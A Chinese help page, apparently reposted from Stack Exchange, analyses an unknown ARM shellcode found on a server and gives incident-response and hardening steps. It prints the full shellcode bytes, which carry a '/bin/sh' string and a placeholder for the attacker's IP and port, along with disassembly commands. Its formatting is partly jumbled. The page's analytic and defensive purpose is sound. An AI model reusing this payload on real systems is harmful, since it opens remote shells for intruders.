服务器发现未知Shellcode无法解码,寻求技术指引
技术分析与处置指引
1. 明确Shellcode架构与反汇编方法
这段十六进制是ARM 32位架构的恶意Shellcode,并非普通文本编码,常规ASCII/Base64解码自然无效。需用ARM架构反汇编工具解析:
- 先将十六进制转为二进制文件,再用
objdump反汇编:
反汇编后可完整看到其执行逻辑,其中的echo -n "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde" | xxd -r -p > shellcode.bin objdump -m arm -b binary -D shellcode.bin/bin/sh是典型的本地提权或反向Shell特征,末尾的\xef\xbe\xad\xde为占位符,实际运行时会被替换为目标IP/端口。
2. 服务器应急处置步骤
- 隔离可疑文件:将未知文件移动至非Web目录并改名,同时记录文件哈希值(
md5sum/sha256sum)用于后续溯源。 - 排查异常进程与连接:
- 用
ps aux筛选未知进程,重点关注无合法父进程、占用高CPU/内存的进程。 - 用
netstat -tulpn查看可疑对外连接,排查是否有与陌生IP的通信。
- 用
- 追溯入侵入口:
- 检查Apache2日志(
/var/log/apache2/access.log/error.log),寻找webshell上传、SQL注入、异常UA头的请求记录。 - 查看系统登录日志(
/var/log/auth.log),排查暴力破解、异常SSH登录痕迹。 - 检查定时任务(
crontab -l、/etc/cron.d/目录),清理恶意定时执行脚本。
- 检查Apache2日志(
3. 后续加固与溯源
- 用
strings扫描系统内可疑文件,查找相同Shellcode片段:strings /usr/bin/* /tmp/* /var/www/* | grep "/bin/sh"。 - 系统加固:更新所有系统包至最新版本,关闭不必要的端口,为Apache2配置严格权限(禁止执行目录脚本、启用ModSecurity),替换所有弱密码。
内容的提问来源于stack exchange,提问作者Sophax
相关产品推荐
相关产品推荐

